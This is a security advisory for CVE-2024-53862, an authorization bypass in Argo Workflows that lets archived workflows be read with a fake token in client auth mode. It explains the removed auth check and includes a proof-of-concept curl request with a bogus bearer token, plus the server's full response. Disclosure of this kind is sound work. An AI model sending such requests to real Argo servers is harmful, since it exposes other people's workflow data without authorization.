CVE-2024-53862

### Summary When using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` When using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` ### Details No authentication is performed by the Server itself on `client` tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a `kubectl auth can-i`](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods. In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token. ### PoC #### Configuration Controller `ConfigMap`: ```yaml config: | persistence: archive: true postgresql: database: argoworkflows host: db-host passwordSecret: key: postgresPassword name: argo-wf-postgres-credentials port: 5432 tableName: argo_workflows userNameSecret: key: username name: argo-wf-postgres-credentials ``` Server: `--auth-mode=client` #### Reproduction Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed. For example, directly query the API and retrieve the workflow data (where `Bearer thisisatest` is not a valid token): ```sh curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g ``` <details><summary>Results in a returned workflow:</summary> ``` * Host localhost:8000 was resolved. * IPv6: ::1 * IPv4: 127.0.0.1 * Trying [::1]:8000... * Connected to localhost (::1) port 8000 > GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1 > Host: localhost:8000 > User-Agent: curl/8.7.1 > Accept: */* > Authorization: Bearer thisisatest > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: application/json < Grpc-Metadata-Content-Type: application/grpc < X-Ratelimit-Limit: 1000 < X-Ratelimit-Remaining: 999 < X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC < Date: Mon, 19 Aug 2024 20:44:26 GMT < Transfer-Encoding: chunked < * Connection #0 to host localhost left intact { "metadata": { "name": "hello-world-7tv5g", "generateName": "hello-world-", "namespace": "argo", "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4", "resourceVersion": "9982", "generation": 3, "creationTimestamp": "2024-08-13T23:59:20Z", "labels": { "workflows.argoproj.io/archive-strategy": "false", "workflows.argoproj.io/completed": "true", "workflows.argoproj.io/phase": "Succeeded", "workflows.argoproj.io/workflow-archiving-status": "Persisted" }, "annotations": { "workflows.argoproj.io/description": "This is a simple hello world example.\n", "workflows.argoproj.io/pod-name-format": "v2" }, "managedFields": [ { "manager": "argo", "operation": "Update", "apiVersion": "argoproj.io/v1alpha1", "time": "2024-08-13T23:59:20Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:annotations": { ".": {}, "f:workflows.argoproj.io/description": {} }, "f:generateName": {}, "f:labels": { ".": {}, "f:workflows.argoproj.io/archive-strategy": {} } }, "f:spec": {} } }, { "manager": "workflow-controller", "operation": "Update", "apiVersion": "argoproj.io/v1alpha1", "time": "2024-08-13T23:59:30Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:annotations": { "f:workflows.argoproj.io/pod-name-format": {} }, "f:labels": { "f:workflows.argoproj.io/completed": {}, "f:workflows.argoproj.io/phase": {}, "f:workflows.argoproj.io/workflow-archiving-status": {} } }, "f:status": {} } } ] }, "spec": { "templates": [ { "name": "hello-world", "inputs": {}, "outputs": {}, "metadata": {}, "container": { "name": "", "image": "busybox", "command": [ "echo" ], "args": [ "hello world" ], "resources": {} } } ], "entrypoint": "hello-world", "arguments": {}, "serviceAccountName": "argo-workflow" }, "status": { "phase": "Succeeded", "startedAt": "2024-08-13T23:59:20Z", "finishedAt": "2024-08-13T23:59:30Z", "progress": "1/1", "nodes": { "hello-world-7tv5g": { "id": "hello-world-7tv5g", "name": "hello-world-7tv5g", "displayName": "hello-world-7tv5g", "type": "Pod", "templateName": "hello-world", "templateScope": "local/hello-world-7tv5g", "phase": "Succeeded", "startedAt": "2024-08-13T23:59:20Z", "finishedAt": "2024-08-13T23:59:24Z", "progress": "1/1", "resourcesDuration": { "cpu": 0, "memory": 3 }, "outputs": { "exitCode": "0" }, "hostNodeName": "kind-control-plane" } }, "conditions": [ { "type": "PodRunning", "status": "False" }, { "type": "Completed", "status": "True" } ], "resourcesDuration": { "cpu": 0, "memory": 3 }, "artifactRepositoryRef": { "default": true, "artifactRepository": {} }, "artifactGCStatus": { "notSpecified": true }, "taskResultsCompletionStatus": { "hello-world-7tv5g": true } } }% ``` </details> ### Impact Users of the Server with `--auth-mode=client` and with `persistence.archive: true` are vulnerable to having Archived Workflows retrieved with a fake or spoofed token. Users of the Server with `--auth-mode=sso` and with `persistence.archive: true` are vulnerable to users being able to access workflows they could not access before archiving. [^1]: `sso` tokens, on the other hand, are [immediately "authorized"](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L207). The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the `client` tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for `client` tokens via the k8s API server.

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. When using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` or when using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`. No authentication is performed by the Server itself on `client` tokens. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a `kubectl auth can-i` check for respective methods. In 3.5.7 and 3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token. This vulnerability is fixed in 3.6.2 and 3.5.13.

Argo Workflows Allows Access to Archived Workflows with Fake Token in `client` mode in github.com/argoproj/argo-workflows